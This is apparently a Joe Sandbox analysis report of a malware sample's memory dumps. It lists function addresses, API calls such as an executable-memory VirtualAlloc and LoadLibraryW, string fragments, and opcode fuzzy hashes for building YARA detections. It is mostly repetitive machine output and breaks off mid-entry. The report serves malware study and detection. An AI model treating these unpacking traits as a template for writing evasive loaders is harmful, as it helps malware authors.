Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: eff7e8f9e7d2d41a2d7a6f9fccf9b4f7df46648db9669baf2ecc79c767516fcf
Instruction ID: 085e7ad523604c76b70116de714897c63f849b191a9e6cb7c9a355783c11d18e
Opcode Fuzzy Hash: eff7e8f9e7d2d41a2d7a6f9fccf9b4f7df46648db9669baf2ecc79c767516fcf
Instruction Fuzzy Hash: ABA190A1D042988FE721CA24DC05BAABA75EF96300F0081FAD44DA7681D7BD5FC68F52

Function 007AAE9F Relevance: 21.3, APIs: 1, Strings: 13, Instructions: 258COMMON

Download Yara Rule

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: 155a888f732e2cf90f19d1992b5da9ee7e27eefd79c943f6106e1ca72d97dc81
Instruction ID: c7e412f2e0ec97d9dd43e3dc9d3485e9742a8a641ae623ce984e961deac50349
Opcode Fuzzy Hash: 155a888f732e2cf90f19d1992b5da9ee7e27eefd79c943f6106e1ca72d97dc81
Instruction Fuzzy Hash: 53A190A1D042988FE721CA24DC45BAABB79EF96300F0081FAD44DA7681D7BD5FC58F52

Function 007AAE42 Relevance: 21.3, APIs: 1, Strings: 13, Instructions: 254memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,00000000,007AAE41,?,?,?,?,?), ref: 007AB525

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: 7901f6e022bc6f8cb17126ecaee4748e664063da59d7f1f89220ef1598ec6811
Instruction ID: 590327bc9a3f8ca6ce14e9b1f84fa6be9d1d4d42032c896e37b4e7bd6083f5b4
Opcode Fuzzy Hash: 7901f6e022bc6f8cb17126ecaee4748e664063da59d7f1f89220ef1598ec6811
Instruction Fuzzy Hash: 9BA192A1D042989FE721CB14DC05BAABB75EF96300F0081FAD44DA7681D7BD5EC58F52

Function 007AB0A0 Relevance: 21.2, APIs: 1, Strings: 13, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,00000000,007AAE41,?,?,?,?,?), ref: 007AB525

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: 140ec3b85cf0fd9f74505b35067b0b48caf1d82e1fde5a73a743d5aa68b74f0a
Instruction ID: b268ab5c110f7f2e9d46b29689c45730363c2cbdeb28fe5fa6fae24220e3c243
Opcode Fuzzy Hash: 140ec3b85cf0fd9f74505b35067b0b48caf1d82e1fde5a73a743d5aa68b74f0a
Instruction Fuzzy Hash: 98A191A1D042988FE721CA24DC05BAABB79EF96300F0081FAD44DA7681D7BD5FC58F52

Function 007AA995 Relevance: 21.2, APIs: 1, Strings: 13, Instructions: 208memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,00000000,007AAE41,?,?,?,?,?), ref: 007AB525

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: 54733a29b3106ae1dbdffa3bb1788defd4178ce2171f2775dceec36737d54711
Instruction ID: d39731cd10bc5027b4e547b795857bab911c17605b5751d427c1e53d8407e215
Opcode Fuzzy Hash: 54733a29b3106ae1dbdffa3bb1788defd4178ce2171f2775dceec36737d54711
Instruction Fuzzy Hash: 2C81A2A1D042A88BE721CB24DC057EABB79EF96300F0481FAD44DA7681D6BD5FC18F52

Function 007AB462 Relevance: 21.2, APIs: 1, Strings: 13, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,00000000,007AAE41,?,?,?,?,?), ref: 007AB525

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: d1f8e6eb12f0bad719aff781eb322c12d3d9a848e8b5901f9ee64959e3b57f38
Instruction ID: 5f95ff55ce789fd47c2a5f9e96d24a2e36d979797a29221a74481c96a9866ddf
Opcode Fuzzy Hash: d1f8e6eb12f0bad719aff781eb322c12d3d9a848e8b5901f9ee64959e3b57f38
Instruction Fuzzy Hash: D08160A1E042A88FE721CB24DC057AABB75EF96300F0481FAD44DA7681D7BD5BD18F52

Function 007AB231 Relevance: 21.2, APIs: 1, Strings: 13, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,00000000,007AAE41,?,?,?,?,?), ref: 007AB525

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: 378a57f07455c2ae2e39ef6f8b50597b1bba7d58380272705faeea97eb8b810b
Instruction ID: c9ffa198a1dcfc4929fd1503ab321a1e8a4f73a1d684130829fdc65c5ff8c5d7
Opcode Fuzzy Hash: 378a57f07455c2ae2e39ef6f8b50597b1bba7d58380272705faeea97eb8b810b
Instruction Fuzzy Hash: 038170A1E042A88FE721CB24DC057AABB75EF96300F0081FAD44DA7681D7BD5BD18F52

Function 007AB20C Relevance: 21.2, APIs: 1, Strings: 13, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,00000000,007AAE41,?,?,?,?,?), ref: 007AB525

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: 13b88bec2a84d3e17a761713cc4f761413e2f569f75df67eaea74bf6704ccfb8
Instruction ID: d0349d9a56cbdf954737a60e8621e534ca739178fcb75aff852d98f9fd8c6222
Opcode Fuzzy Hash: 13b88bec2a84d3e17a761713cc4f761413e2f569f75df67eaea74bf6704ccfb8
Instruction Fuzzy Hash: CF8170A1E042A88FE721CB24DC057AABB75EF96300F0081FAD44DA7681D7BD5BD18F52

Function 007AB1DA Relevance: 21.2, APIs: 1, Strings: 13, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,00000000,007AAE41,?,?,?,?,?), ref: 007AB525

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: 73e150148d63bc46cac6940ed79fae621a8b402b12665e32c42d3b3043d7b2dc
Instruction ID: 452fece6b3b4d6655650e53adbde8c6203dbaf159150dfecf47d058b22672716
Opcode Fuzzy Hash: 73e150148d63bc46cac6940ed79fae621a8b402b12665e32c42d3b3043d7b2dc
Instruction Fuzzy Hash: 7B8170A1E042A88FE725CB24DC057AABB75EF96300F0081FAD44DA7681D7BD5BD18F52

Function 007AADC2 Relevance: 21.2, APIs: 1, Strings: 13, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,00000000,007AAE41,?,?,?,?,?), ref: 007AB525

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: 6becd6adb7e552c2b6ed888cc474c9cc23616bacffe3f109e81fc6e26bed4237
Instruction ID: 676b2587a3376b01d62230152333cd638ff4d94446436a0ae730cb9825a159ab
Opcode Fuzzy Hash: 6becd6adb7e552c2b6ed888cc474c9cc23616bacffe3f109e81fc6e26bed4237
Instruction Fuzzy Hash: 4D8192A1D042A88BE721CB24DC057AABB75EF96300F0481FAD44DAB681D7BD5BD18F52

Function 007AB4AB Relevance: 21.2, APIs: 1, Strings: 13, Instructions: 198memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,?,?,?,?,?,00000000,007AAE41,?,?,?,?,?), ref: 007AB525

Strings

W, xrefs: 007ABA21
a, xrefs: 007AB9E2
i, xrefs: 007AB9F7
r, xrefs: 007ABA05
b, xrefs: 007AB9FE
y, xrefs: 007ABA1A
j@h, xrefs: 007AB515
L, xrefs: 007AB9F0
a, xrefs: 007ABA0C
L, xrefs: 007AB9D4
o, xrefs: 007AB9DB
r, xrefs: 007ABA13
d, xrefs: 007AB9E9

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: AllocVirtual
String ID: L$L$W$a$a$b$d$i$j@h$o$r$r$y
API String ID: 4275171209-1069717143
Opcode ID: ebf909719b9e7c46baebf3a4ca558fdfa9796b5f4b92d76a3b0821958d651c6e
Instruction ID: f0f26c890e3188f376f4735703a28c6d4fa34bc7826af27d2d91deedbb62b7ea
Opcode Fuzzy Hash: ebf909719b9e7c46baebf3a4ca558fdfa9796b5f4b92d76a3b0821958d651c6e
Instruction Fuzzy Hash: 0C81A3A1D042A88FE721CB24DC057EABB75EF96300F0041FAD44DAB681D6BD5BD58F52

Function 007AC544 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

MD7L, xrefs: 007AC545
, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: FreeVirtual
String ID: $MD7L
API String ID: 1263568516-2422098246
Opcode ID: ac9948482453c748f5dc05093e8cc5f8d6601c6b40e742922108a19c4732c76a
Instruction ID: 2dd5c82f20939a7197667997628abcfed24924a67eeb3396d0be1803efa5e38e
Opcode Fuzzy Hash: ac9948482453c748f5dc05093e8cc5f8d6601c6b40e742922108a19c4732c76a
Instruction Fuzzy Hash: 01318271F01718ABEB35CE64DC44BAAB774FB89711F2042E9E50DA7280C678AEC08F11

Function 007CE472 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

_S, xrefs: 007DE498

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID: _S
API String ID: 544645111-1526738568
Opcode ID: 4e30d84ef595cf18db3447335625be39088a31f56854b312d37e13b517b5b340
Instruction ID: 1e1227318c5fc6ef8ea438d521fa81efde988f7953dcc775265eb448653b2cb7
Opcode Fuzzy Hash: 4e30d84ef595cf18db3447335625be39088a31f56854b312d37e13b517b5b340
Instruction Fuzzy Hash: 784149F2D041589FE7159A24CC88AEA7B78EB45310F1441FEE94D9B381D63C6A81CF61

Function 007C8553 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 142COMMON

Download Yara Rule

Strings

PH65, xrefs: 007C85DE

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID: PH65
API String ID: 0-1265588624
Opcode ID: 3fc338ec14f9f95053cbbb53bda921ac1aedb34cbc0f5aa44924b36dae5e3710
Instruction ID: 98e146a947188c5e119d003d2c32a1c65ed4ac142453b4591f15876feb5b4386
Opcode Fuzzy Hash: 3fc338ec14f9f95053cbbb53bda921ac1aedb34cbc0f5aa44924b36dae5e3710
Instruction Fuzzy Hash: 6151C7B1D052549FE795CB20DCA9BBA7B78EB44310F1081EFD50A9A281DB7C5AC1CF12

Function 007C85CD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

PH65, xrefs: 007C85DE

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID: PH65
API String ID: 544645111-1265588624
Opcode ID: 4225ee0aefac708ac742df26d17d90c57da3901ae9c22056b4c809fa4258b3bc
Instruction ID: 733ed04356ffb897231b867bb4cfe44b730fccc2d45e32a5963a7634cc8faea1
Opcode Fuzzy Hash: 4225ee0aefac708ac742df26d17d90c57da3901ae9c22056b4c809fa4258b3bc
Instruction Fuzzy Hash: BC4183B1D042189FE7A5CB10DCA5BBA7774EB84314F1081EFD54A9A281DB7C6EC18F52

Function 007DE175 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

_S, xrefs: 007DE498

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID: ProtectVirtual
String ID: _S
API String ID: 544645111-1526738568
Opcode ID: 1d3490f960da272b8aa10475eed0ee8c704a1824c289de6736dbe7b83676a8b5
Instruction ID: b0dcae1a90b2608c152b7b47d4b8be977294263582c5e98b927d5151fe9e7169
Opcode Fuzzy Hash: 1d3490f960da272b8aa10475eed0ee8c704a1824c289de6736dbe7b83676a8b5
Instruction Fuzzy Hash: 0431F3F3D041649BF7249A14DC88BEB7678EB40314F1541BAE90DAA381D63DAE858F91

Function 004378B8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000), ref: 00437BB7

Strings

, xrefs: 00437BBE

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-399585960
Opcode ID: 49d25d6352dc79f7c2c12cdd3839f3b9b7167456abc41ddbc4dcf29ebaed7ab0
Instruction ID: 56d21dc33a467d3fa1317ada5b50cb653418c953da08e43c300a83135ec529ff
Opcode Fuzzy Hash: 49d25d6352dc79f7c2c12cdd3839f3b9b7167456abc41ddbc4dcf29ebaed7ab0
Instruction Fuzzy Hash: 6641C3B4E052298FEB24CF05D880BA9B7B6FF89318F1081DAD88967351D735AE918F54

Function 0043736C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(00000000), ref: 00437BB7

Strings

N23I, xrefs: 0043744E

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ExitProcess
String ID: N23I
API String ID: 621844428-2248891880
Opcode ID: 2e98b78d61cab58bb5cc3ac966f0ea52bc3588fe378bde3af44cf5a9546e9f96
Instruction ID: bfa9666d2d7158a92ad346b01f662cc8bbd1a2a43832b48fd15f412a3befe94a
Opcode Fuzzy Hash: 2e98b78d61cab58bb5cc3ac966f0ea52bc3588fe378bde3af44cf5a9546e9f96
Instruction Fuzzy Hash: 8C31D1F1C046199AFB308A11DC85BFE7775EB48311F1481EBD88961680DA3C5EC6DE12

Function 004373F8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

N23I, xrefs: 0043744E

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID: ExitProcess
String ID: N23I
API String ID: 621844428-2248891880
Opcode ID: ecb000227b2d152e318c20b3ce5df5fb8d0648545da7612776343eb04cfb6ad9
Instruction ID: 37be6bd51d6d82ef75363c9c0ed6d6db5536edc6c582e880a23975268ed9e52d
Opcode Fuzzy Hash: ecb000227b2d152e318c20b3ce5df5fb8d0648545da7612776343eb04cfb6ad9
Instruction Fuzzy Hash: 7811A5F2C045046AF7258A21DC46BFF6639EB84710F14C1BBE50995690E93C5EC64922

Function 007ABDE3 Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 269COMMON

Download Yara Rule

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID: 0-399585960
Opcode ID: 7c4efc74a92b83e83be866d9d434d7bbb205d0840e4df92d0dda7d0312292560
Instruction ID: 483339ee49c993c7a4aec668c1cfd450f0aafba8f8482ea8212fcdb08ee332f7
Opcode Fuzzy Hash: 7c4efc74a92b83e83be866d9d434d7bbb205d0840e4df92d0dda7d0312292560
Instruction Fuzzy Hash: F6B14D71E05228DBDB25CB14CC94BAAB7B5FB8A311F1082EAD94D67641C7386EC1CF41

Function 007ABB93 Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID: 0-399585960
Opcode ID: 9dce0f81928b1aa4b9cbb6527ce6c8dbabc1c9c30534fae873243628068cd636
Instruction ID: c10a7fcd8cca9d2d3cd9c8f01d5a7af49983d4f5850362fdd6b4bd01111a8bdc
Opcode Fuzzy Hash: 9dce0f81928b1aa4b9cbb6527ce6c8dbabc1c9c30534fae873243628068cd636
Instruction Fuzzy Hash: B1A1F4B1E00628DBEB248B14DC54BEAB774EF85311F1082EAE50D66281E73C5EC5CF62

Function 007A6C56 Relevance: 3.2, APIs: 2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: cfc01cfd0eab6363b5896ee5fd9a566f3b1f60674a566719aea0e5f569aafc5d
Instruction ID: f783684de05f185fb7106a6708b9a399acd5d96c393b8680fd2b87f9668c6287
Opcode Fuzzy Hash: cfc01cfd0eab6363b5896ee5fd9a566f3b1f60674a566719aea0e5f569aafc5d
Instruction Fuzzy Hash: 8191C3A1D096A88BEB24CB24CC447EA7775EF91300F0481E9D44DA7642EA7E5FC5CF62

Function 007A7749 Relevance: 3.2, APIs: 2, Instructions: 224libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 007A778F
LoadLibraryW.KERNELBASE(FFFFF55C), ref: 007A77AC

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 327e200dd1b9adfa4ee0195adaa2a722327906017388ba0296ce51534a272ac4
Instruction ID: 57c27f79da152d7a99798d012e66f4a6d2fc6cac88f91f48822cd06cfbc64365
Opcode Fuzzy Hash: 327e200dd1b9adfa4ee0195adaa2a722327906017388ba0296ce51534a272ac4
Instruction Fuzzy Hash: FD91C4B1D096A88BEB24CB24CC447EAB774EF55300F0481E9D44DA7642EA7A5FC5CF62

Function 007A74ED Relevance: 3.2, APIs: 2, Instructions: 222libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 007A778F
LoadLibraryW.KERNELBASE(FFFFF55C), ref: 007A77AC

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9d8b1b91ccc6a5f0a21ac15ba371959575c5b51ff6d683a2b1d193e517e3f5ed
Instruction ID: 7d90fbbcb4f2930aa0187012d922eb004231f85c09744512eac220a65f8f3672
Opcode Fuzzy Hash: 9d8b1b91ccc6a5f0a21ac15ba371959575c5b51ff6d683a2b1d193e517e3f5ed
Instruction Fuzzy Hash: 3091C4B1C096A88BEB24CB24CC447EAB774EF55300F0481E9D44DA7642EA3A5FC5CF62

Function 007A74C8 Relevance: 3.2, APIs: 2, Instructions: 222libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 007A778F
LoadLibraryW.KERNELBASE(FFFFF55C), ref: 007A77AC

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4b2023a4ad0de6dacfccbafd2e2da2e9e60689f1d26258392b1a4a6ea50a2507
Instruction ID: e1776c682cc09b09dd1bd8f70d8d6c028e208327a48043861f6e404ff69d4ee6
Opcode Fuzzy Hash: 4b2023a4ad0de6dacfccbafd2e2da2e9e60689f1d26258392b1a4a6ea50a2507
Instruction Fuzzy Hash: BD91C4B1C096A88BEB24CB24CC447EA7775EF51300F0481E9D44DA7642EA3A5FC5CF62

Function 007A7496 Relevance: 3.2, APIs: 2, Instructions: 222libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 007A778F
LoadLibraryW.KERNELBASE(FFFFF55C), ref: 007A77AC

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5f7b29cf8a9009d3d052daa7d879da056e34fcf478277d5d10b17f73eab7fa7c
Instruction ID: 5abd2e3c3cc54acfaa1c32f94a9773861534120657f285b0ecf0cf638b56257b
Opcode Fuzzy Hash: 5f7b29cf8a9009d3d052daa7d879da056e34fcf478277d5d10b17f73eab7fa7c
Instruction Fuzzy Hash: 1191C4B1C096A88BEB24CB24CC447EA7775EF91300F0481E9D44DA7642EA3A5FC5CF62

Function 007AC4E0 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000), ref: 007AC8B0

Strings

, xrefs: 007AC949

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

